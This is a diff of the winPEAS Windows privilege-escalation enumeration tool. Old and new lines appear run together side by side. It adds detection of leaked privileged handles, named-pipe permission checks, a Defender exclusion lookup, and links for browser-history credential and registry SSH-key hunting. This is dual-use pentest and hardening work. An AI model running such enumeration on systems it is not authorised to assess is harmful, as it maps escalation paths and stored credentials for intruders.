MIB_TCPROW_OWNER_PID tcpRow = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCPROW_OWNER_PID)); MIB_TCPROW_OWNER_PID tcpRow = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCPROW_OWNER_PID));
// Add row to list of TcpConnetions. // Add row to list of TcpConnetions.
string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid);
if (proc_name == "Idle")
{ //Sometime too many Idle connections that doesn't provide sensitive info
continue;
}
tcpTableRecords.Add(new TcpConnectionInfo( tcpTableRecords.Add(new TcpConnectionInfo(
Protocol.TCP, Protocol.TCP,
new IPAddress(tcpRow.localAddr), new IPAddress(tcpRow.localAddr),
@@ -360,7 +366,7 @@ namespace winPEAS.Info.NetworkInfo
tcpRow.remotePort[0] }, 0), tcpRow.remotePort[0] }, 0),
tcpRow.owningPid, tcpRow.owningPid,
tcpRow.state, tcpRow.state,
GetProcessNameByPid(tcpRow.owningPid, processesByPid))); proc_name));
tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow)); tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow));
} }
@@ -377,6 +383,12 @@ namespace winPEAS.Info.NetworkInfo
{ {
MIB_TCP6ROW_OWNER_PID tcpRow = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCP6ROW_OWNER_PID)); MIB_TCP6ROW_OWNER_PID tcpRow = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCP6ROW_OWNER_PID));
string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid);
if (proc_name == "Idle")
{ //Sometime too many Idle connections that doesn't provide sensitive info
continue;
}
tcpTableRecords.Add(new TcpConnectionInfo( tcpTableRecords.Add(new TcpConnectionInfo(
Protocol.TCP, Protocol.TCP,
new IPAddress(tcpRow.localAddr, tcpRow.localScopeId), new IPAddress(tcpRow.localAddr, tcpRow.localScopeId),
@@ -389,7 +401,7 @@ namespace winPEAS.Info.NetworkInfo
tcpRow.remotePort[0] }, 0), tcpRow.remotePort[0] }, 0),
tcpRow.owningPid, tcpRow.owningPid,
tcpRow.state, tcpRow.state,
GetProcessNameByPid(tcpRow.owningPid, processesByPid))); proc_name));
tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow)); tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow));
} }

View File

@@ -1,40 +1,20 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq; using System.Linq;
using System.Management; using System.Management;
using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading.Tasks;
using winPEAS.Helpers; using winPEAS.Helpers;
using winPEAS.Native;
namespace winPEAS.Info.ProcessInfo namespace winPEAS.Info.ProcessInfo
{ {
internal class ProcessesInfo internal class ProcessesInfo
{ {
private static string GetProcU(Process p)
{
IntPtr pHandle = IntPtr.Zero;
try
{
Advapi32.OpenProcessToken(p.Handle, 8, out pHandle);
WindowsIdentity WI = new WindowsIdentity(pHandle);
String uSEr = WI.Name;
return uSEr.Contains(@"\") ? uSEr.Substring(uSEr.IndexOf(@"\") + 1) : uSEr;
}
catch
{
return null;
}
finally
{
if (pHandle != IntPtr.Zero)
{
Kernel32.CloseHandle(pHandle);
}
}
}
// TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10 // TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10
public static List<Dictionary<string, string>> GetProcInfo() public static List<Dictionary<string, string>> GetProcInfo()
{ {
@@ -53,7 +33,7 @@ namespace winPEAS.Info.ProcessInfo
Proc = p, Proc = p,
Pth = (string)mo["ExecutablePath"], Pth = (string)mo["ExecutablePath"],
CommLine = (string)mo["CommandLine"], CommLine = (string)mo["CommandLine"],
Owner = GetProcU(p), //Needed inside the next foreach Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
}; };
foreach (var itm in queRy) foreach (var itm in queRy)
@@ -94,5 +74,163 @@ namespace winPEAS.Info.ProcessInfo
} }
return f_results; return f_results;
} }
public static List<Dictionary<string, string>> GetVulnHandlers()
{
List<Dictionary<string, string>> vulnHandlers = new List<Dictionary<string, string>>();
List<HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handlers = HandlesHelper.GetAllHandlers();
List<string> interestingHandlerTypes = new List<string>() { "file", "key", "process", "thread" }; //section
foreach (HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX h in handlers)
{
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (h.GrantedAccess == 0x0012019f
|| h.GrantedAccess == 0x00120189
|| h.GrantedAccess == 0x120089
|| h.GrantedAccess == 0x1A019F)
continue;
IntPtr dupHandle;
IntPtr _processHandle = Native.Kernel32.OpenProcess(HandlesHelper.ProcessAccessFlags.DupHandle | HandlesHelper.ProcessAccessFlags.QueryInformation, false, h.UniqueProcessId);
if (_processHandle == (IntPtr)0)
continue;
uint status = (uint)Native.Ntdll.NtDuplicateObject(
_processHandle,
h.HandleValue,
Native.Kernel32.GetCurrentProcess(),
out dupHandle,
0,
false,
HandlesHelper.DUPLICATE_SAME_ACCESS);
Native.Kernel32.CloseHandle(_processHandle);
if (status != 0)
continue;
string typeName = HandlesHelper.GetObjectType(dupHandle).ToLower();
if (interestingHandlerTypes.Contains(typeName))
{
HandlesHelper.VULNERABLE_HANDLER_INFO handlerExp = HandlesHelper.checkExploitaible(h, typeName);
if (handlerExp.isVuln == true)
{
HandlesHelper.PT_RELEVANT_INFO origProcInfo = HandlesHelper.getProcInfoById((int)h.UniqueProcessId);
if (!Checks.Checks.CurrentUserSiDs.ContainsKey(origProcInfo.userSid))
continue;
string hName = HandlesHelper.GetObjectName(dupHandle);
Dictionary<string, string> to_add = new Dictionary<string, string>();
to_add["Handle Name"] = hName;
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")";
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName;
to_add["Reason"] = handlerExp.reason;
if (typeName == "process" || typeName == "thread")
{
HandlesHelper.PT_RELEVANT_INFO hInfo;
if (typeName == "process")
{
hInfo = HandlesHelper.getProcessHandlerInfo(dupHandle);
}
else //Thread
{
hInfo = HandlesHelper.getThreadHandlerInfo(dupHandle);
}
// If the privileged access is from a proc to itself, or to a process of the same user, not a privesc
if (hInfo.pid == 0 ||
(int)h.UniqueProcessId == hInfo.pid ||
origProcInfo.userSid == hInfo.userSid)
continue;
to_add["Handle PID"] = hInfo.pid.ToString() + "(" + hInfo.userName + ")";
}
else if (typeName == "file")
{
//StringBuilder filePath = new StringBuilder(2000);
//HandlersHelper.GetFinalPathNameByHandle(dupHandle, filePath, 2000, 0);
HandlesHelper.FILE_NAME_INFO fni = new HandlesHelper.FILE_NAME_INFO();
// Sometimes both GetFileInformationByHandle and GetFileInformationByHandleEx hangs
// So a timeput of 1s is put to the function to prevent that
var task = Task.Run(() =>
{
// FILE_NAME_INFO (2)
return Native.Kernel32.GetFileInformationByHandleEx(dupHandle, 2, out fni, (uint)Marshal.SizeOf(fni));
});
bool isCompletedSuccessfully = task.Wait(TimeSpan.FromMilliseconds(1000));
if (!isCompletedSuccessfully)
{
//throw new TimeoutException("The function has taken longer than the maximum time allowed.");
continue;
}
string sFilePath = fni.FileName;
if (sFilePath.Length == 0)
continue;
List<string> permsFile = PermissionsHelper.GetPermissionsFile(sFilePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);
try
{
System.Security.AccessControl.FileSecurity fs = System.IO.File.GetAccessControl(sFilePath);
IdentityReference sid = fs.GetOwner(typeof(SecurityIdentifier));
string ownerName = sid.Translate(typeof(NTAccount)).ToString();
// If current user already have permissions over that file or the proc belongs to the owner of the file,
// handler not interesting to elevate privs
if (permsFile.Count > 0 || origProcInfo.userSid == sid.Value)
continue;
to_add["File Path"] = sFilePath;
to_add["File Owner"] = ownerName;
}
catch (System.IO.FileNotFoundException)
{
// File wasn't found
continue;
}
catch (System.InvalidOperationException)
{
continue;
}
}
else if (typeName == "key")
{
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0)
continue;
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
if (regKey == null)
continue;
List<string> permsReg = PermissionsHelper.GetMyPermissionsR(regKey, Checks.Checks.CurrentUserSiDs);
// If current user already have permissions over that reg, handle not interesting to elevate privs
if (permsReg.Count > 0)
continue;
to_add["Registry"] = kri.hive + "\\" + kri.path;
}
vulnHandlers.Add(to_add);
}
}
}
return vulnHandlers;
}
} }
} }

View File

@@ -217,13 +217,17 @@ namespace winPEAS.Info.ServicesInfo
{ {
if (SIDs.ContainsKey(ace.SecurityIdentifier.ToString())) if (SIDs.ContainsKey(ace.SecurityIdentifier.ToString()))
{ {
string aceType = ace.AceType.ToString();
if (!(aceType.Contains("Denied")))
{ //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0
int serviceRights = ace.AccessMask; int serviceRights = ace.AccessMask;
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC); string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str)) if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))
permissions.Add(current_perm_str); permissions.Add(current_perm_str);
} }
} }
}
if (permissions.Count > 0) if (permissions.Count > 0)
{ {

View File

@@ -4,11 +4,13 @@
{ {
public string Name { get; } public string Name { get; }
public string Sddl { get; } public string Sddl { get; }
public string CurrentUserPerms { get; }
public NamedPipeInfo(string name, string sddl) public NamedPipeInfo(string name, string sddl, string currentUserPerms)
{ {
Name = name; Name = name;
Sddl = sddl; Sddl = sddl;
CurrentUserPerms = currentUserPerms;
} }
} }
} }

View File

@@ -3,6 +3,8 @@ using System.IO;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.AccessControl; using System.Security.AccessControl;
using winPEAS.Native; using winPEAS.Native;
using System.Security.Principal;
namespace winPEAS.Info.SystemInfo.NamedPipes namespace winPEAS.Info.SystemInfo.NamedPipes
{ {
@@ -42,22 +44,26 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
foreach (var namedPipe in namedPipes) foreach (var namedPipe in namedPipes)
{ {
string sddl; string sddl;
string currentUserPerms;
bool isError = false; bool isError = false;
try try
{ {
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}"); var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All); sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs);
currentUserPerms = string.Join(", ", currentUserPermsList);
} }
catch catch
{ {
isError = true; isError = true;
sddl = "ERROR"; sddl = "ERROR";
currentUserPerms = "ERROR";
} }
if (!isError && !string.IsNullOrEmpty(sddl)) if (!isError && !string.IsNullOrEmpty(sddl))
{ {
yield return new NamedPipeInfo(namedPipe, sddl); yield return new NamedPipeInfo(namedPipe, sddl, currentUserPerms);
} }
} }
} }

View File

@@ -160,9 +160,13 @@ namespace winPEAS.Info.SystemInfo
{ {
Dictionary<string, string> results = new Dictionary<string, string>(); Dictionary<string, string> results = new Dictionary<string, string>();
string whitelistpaths = ""; string whitelistpaths = "";
try try
{ {
whitelistpaths = String.Join("\n ", RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths").Keys); var keys = RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths");
if (keys != null)
whitelistpaths = String.Join("\n ", keys.Keys);
using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct")) using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct"))
{ {
using (var data = wmiData.Get()) using (var data = wmiData.Get())

View File

@@ -113,7 +113,7 @@ namespace winPEAS.Info.UserInfo
{ "520", "Group Policy Creator Owners" }, //A global group that is authorized to create new Group Policy objects in Active Directory. By default, the only member of the group is Administrator. { "520", "Group Policy Creator Owners" }, //A global group that is authorized to create new Group Policy objects in Active Directory. By default, the only member of the group is Administrator.
{ "521", "Read-only Domain Controllers" }, //A global group. Members of this group are read-only domain controllers in the domain. { "521", "Read-only Domain Controllers" }, //A global group. Members of this group are read-only domain controllers in the domain.
{ "522", "Cloneable Domain Controllers" }, //A global group. Members of this group that are domain controllers may be cloned. { "522", "Cloneable Domain Controllers" }, //A global group. Members of this group that are domain controllers may be cloned.
{ "525", "Protected Users" }, //https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#protected-users { "525", "Protected Users" }, //https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#protected-users
{ "526", "Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group. { "526", "Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
{ "527", "Enterprise Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group. { "527", "Enterprise Key Admins" }, //A security group. The intention for this group is to have delegated write access on the msdsKeyCredentialLink attribute only. The group is intended for use in scenarios where trusted external authorities (for example, Active Directory Federated Services) are responsible for modifying this attribute. Only trusted administrators should be made a member of this group.
{ "553", "RAS and IAS Servers" }, //A domain local group. By default, this group has no members. Servers in this group have Read Account Restrictions and Read Logon Information access to User objects in the Active Directory domain local group. { "553", "RAS and IAS Servers" }, //A domain local group. By default, this group has no members. Servers in this group have Read Account Restrictions and Read Logon Information access to User objects in the Active Directory domain local group.

View File

@@ -26,7 +26,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
try try
{ {
Beaprint.MainPrint("Looking for Chrome DBs"); Beaprint.MainPrint("Looking for Chrome DBs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs(); Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
if (chromeDBs.ContainsKey("userChromeCookiesPath")) if (chromeDBs.ContainsKey("userChromeCookiesPath"))
@@ -58,7 +58,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
try try
{ {
Beaprint.MainPrint("Looking for GET credentials in Chrome history"); Beaprint.MainPrint("Looking for GET credentials in Chrome history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook(); Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
List<string> history = chromeHistBook["history"]; List<string> history = chromeHistBook["history"];
List<string> bookmarks = chromeHistBook["bookmarks"]; List<string> bookmarks = chromeHistBook["bookmarks"];

View File

@@ -28,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
try try
{ {
Beaprint.MainPrint("Looking for Firefox DBs"); Beaprint.MainPrint("Looking for Firefox DBs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> firefoxDBs = Firefox.GetFirefoxDbs(); List<string> firefoxDBs = Firefox.GetFirefoxDbs();
if (firefoxDBs.Count > 0) if (firefoxDBs.Count > 0)
{ {
@@ -55,7 +55,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
try try
{ {
Beaprint.MainPrint("Looking for GET credentials in Firefox history"); Beaprint.MainPrint("Looking for GET credentials in Firefox history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> firefoxHist = Firefox.GetFirefoxHistory(); List<string> firefoxHist = Firefox.GetFirefoxHistory();
if (firefoxHist.Count > 0) if (firefoxHist.Count > 0)
{ {

View File

@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers
try try
{ {
Beaprint.MainPrint("Current IE tabs"); Beaprint.MainPrint("Current IE tabs");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
List<string> urls = InternetExplorer.GetCurrentIETabs(); List<string> urls = InternetExplorer.GetCurrentIETabs();
Dictionary<string, string> colorsB = new Dictionary<string, string>() Dictionary<string, string> colorsB = new Dictionary<string, string>()
@@ -50,7 +50,7 @@ namespace winPEAS.KnownFileCreds.Browsers
try try
{ {
Beaprint.MainPrint("Looking for GET credentials in IE history"); Beaprint.MainPrint("Looking for GET credentials in IE history");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav(); Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
List<string> history = chromeHistBook["history"]; List<string> history = chromeHistBook["history"];
List<string> favorites = chromeHistBook["favorites"]; List<string> favorites = chromeHistBook["favorites"];

View File

@@ -57,7 +57,7 @@ namespace winPEAS.KnownFileCreds
try try
{ {
Beaprint.MainPrint("SSH keys in registry"); Beaprint.MainPrint("SSH keys in registry");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#ssh-keys-in-registry", "If you find anything here, follow the link to learn how to decrypt the SSH keys"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#ssh-keys-in-registry", "If you find anything here, follow the link to learn how to decrypt the SSH keys");
string[] ssh_reg = RegistryHelper.GetRegSubkeys("HKCU", @"OpenSSH\Agent\Keys"); string[] ssh_reg = RegistryHelper.GetRegSubkeys("HKCU", @"OpenSSH\Agent\Keys");
if (ssh_reg.Length == 0) if (ssh_reg.Length == 0)

View File

@@ -1,6 +1,7 @@
using System; using System;
using System.Runtime.ConstrainedExecution; using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text;
using winPEAS.Info.SystemInfo.NamedPipes; using winPEAS.Info.SystemInfo.NamedPipes;
namespace winPEAS.Native namespace winPEAS.Native
@@ -67,5 +68,34 @@ namespace winPEAS.Native
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)] [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
internal static extern int GetPrivateProfileString(string? section, string? key, string defaultValue, [In, Out] char[] value, int size, string filePath); internal static extern int GetPrivateProfileString(string? section, string? key, string defaultValue, [In, Out] char[] value, int size, string filePath);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(Helpers.HandlesHelper.ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(Helpers.HandlesHelper.ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, UIntPtr dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, ushort hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint GetProcessId(IntPtr handle);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern uint GetFinalPathNameByHandle(IntPtr hFile, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern uint GetFileInformationByHandleEx(IntPtr hFile, int infoClass, out Helpers.HandlesHelper.FILE_NAME_INFO lpFileInformation, uint dwBufferSize);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern unsafe int GetFullPathName(string lpFileName, int nBufferLength, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpBuffer, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpFilePart);
} }
} }

View File

@@ -0,0 +1,28 @@
using System;
using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices;
using winPEAS.Info.SystemInfo.NamedPipes;
namespace winPEAS.Native
{
internal class Ntdll
{
[DllImport("ntdll.dll")]
public static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength);
[DllImport("ntdll.dll")]
public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
[DllImport("ntdll.dll")]
internal static extern int NtQueryInformationProcess(IntPtr ProcessHandle, int ProcessInformationClass, IntPtr[] ProcessInformation, int ProcessInformationLength, ref int ReturnLength);
[DllImport("ntdll.dll")]
internal static extern int NtQueryInformationThread(IntPtr hThread, int ThreadInformationClass, IntPtr[] ThreadInformation, int ThreadInformationLength, ref int ReturnLength);
[DllImport("ntdll.dll")]
internal static extern int NtDuplicateObject(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, ulong dwOptions);
[DllImport("ntdll.dll")]
public static extern uint NtQueryKey(IntPtr KeyHandle, int KeyInformationClass, byte[] KeyInformation, int Length, ref int ResultLength);
}
}

View File

@@ -26,5 +26,12 @@ namespace winPEAS.Native
StringBuilder name, StringBuilder name,
UInt32 nameSize UInt32 nameSize
); );
[DllImport("psapi.dll")]
internal static extern uint GetProcessImageFileName(
IntPtr hProcess,
[Out] StringBuilder lpImageFileName,
[In][MarshalAs(UnmanagedType.U4)] int nSize
);
} }
} }

View File

@@ -5,12 +5,12 @@ using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information // set of attributes. Change these attribute values to modify the information
// associated with an assembly. // associated with an assembly.
[assembly: AssemblyTitle("asdas2dasd")] [assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")] [assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")] [assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")] [assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("asdas2dasd")] [assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")] [assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] [assembly: AssemblyCulture("")]

View File

@@ -14,6 +14,21 @@
<NuGetPackageImportStamp> <NuGetPackageImportStamp>
</NuGetPackageImportStamp> </NuGetPackageImportStamp>
<TargetFrameworkProfile /> <TargetFrameworkProfile />
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget> <PlatformTarget>AnyCPU</PlatformTarget>
@@ -95,7 +110,8 @@
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup> </PropertyGroup>
<PropertyGroup> <PropertyGroup>
<StartupObject>winPEAS.Program</StartupObject> <StartupObject>
</StartupObject>
</PropertyGroup> </PropertyGroup>
<ItemGroup> <ItemGroup>
<Reference Include="System" /> <Reference Include="System" />
@@ -406,6 +422,8 @@
<Compile Include="Helpers\AppLocker\AppLockerRules.cs" /> <Compile Include="Helpers\AppLocker\AppLockerRules.cs" />
<Compile Include="Helpers\AppLocker\IAppIdPolicyHandler.cs" /> <Compile Include="Helpers\AppLocker\IAppIdPolicyHandler.cs" />
<Compile Include="Helpers\AppLocker\SharpAppLocker.cs" /> <Compile Include="Helpers\AppLocker\SharpAppLocker.cs" />
<Compile Include="Helpers\HandlesHelper.cs" />
<Compile Include="Helpers\ProgressBar.cs" />
<Compile Include="Helpers\CredentialManager\Credential.cs" /> <Compile Include="Helpers\CredentialManager\Credential.cs" />
<Compile Include="Helpers\CredentialManager\CredentialManager.cs" /> <Compile Include="Helpers\CredentialManager\CredentialManager.cs" />
<Compile Include="Helpers\CredentialManager\CredentialType.cs" /> <Compile Include="Helpers\CredentialManager\CredentialType.cs" />
@@ -575,6 +593,7 @@
<Compile Include="Native\Enums\UserPrivType.cs" /> <Compile Include="Native\Enums\UserPrivType.cs" />
<Compile Include="Native\Enums\WTS_INFO_CLASS.cs" /> <Compile Include="Native\Enums\WTS_INFO_CLASS.cs" />
<Compile Include="Native\Iphlpapi.cs" /> <Compile Include="Native\Iphlpapi.cs" />
<Compile Include="Native\Ntdll.cs" />
<Compile Include="Native\Kernel32.cs" /> <Compile Include="Native\Kernel32.cs" />
<Compile Include="Native\Netapi32.cs" /> <Compile Include="Native\Netapi32.cs" />
<Compile Include="Native\Ntdsapi.cs" /> <Compile Include="Native\Ntdsapi.cs" />
@@ -670,6 +689,12 @@
<Compile Include="Wifi\NativeWifiApi\WlanClient.cs" /> <Compile Include="Wifi\NativeWifiApi\WlanClient.cs" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<EmbeddedResource Include="..\..\..\build_lists\regexes.yaml">
<Link>regexes.yaml</Link>
</EmbeddedResource>
<EmbeddedResource Include="..\..\..\build_lists\sensitive_files.yaml">
<Link>sensitive_files.yaml</Link>
</EmbeddedResource>
<None Include="App.config" /> <None Include="App.config" />
<None Include="TaskScheduler\V1\TaskSchedulerV1Schema.xsd"> <None Include="TaskScheduler\V1\TaskSchedulerV1Schema.xsd">
<SubType>Designer</SubType> <SubType>Designer</SubType>
@@ -679,7 +704,6 @@
</None> </None>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<EmbeddedResource Include="..\..\..\build_lists\sensitive_files.yaml" />
<EmbeddedResource Include="Properties\Resources.de.resx" /> <EmbeddedResource Include="Properties\Resources.de.resx" />
<EmbeddedResource Include="Properties\Resources.es.resx" /> <EmbeddedResource Include="Properties\Resources.es.resx" />
<EmbeddedResource Include="Properties\Resources.fr.resx" /> <EmbeddedResource Include="Properties\Resources.fr.resx" />
@@ -692,5 +716,17 @@
<EmbeddedResource Include="Properties\Resources.ru.resx" /> <EmbeddedResource Include="Properties\Resources.ru.resx" />
<EmbeddedResource Include="Properties\Resources.zh-CN.resx" /> <EmbeddedResource Include="Properties\Resources.zh-CN.resx" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.5.2">
<Visible>False</Visible>
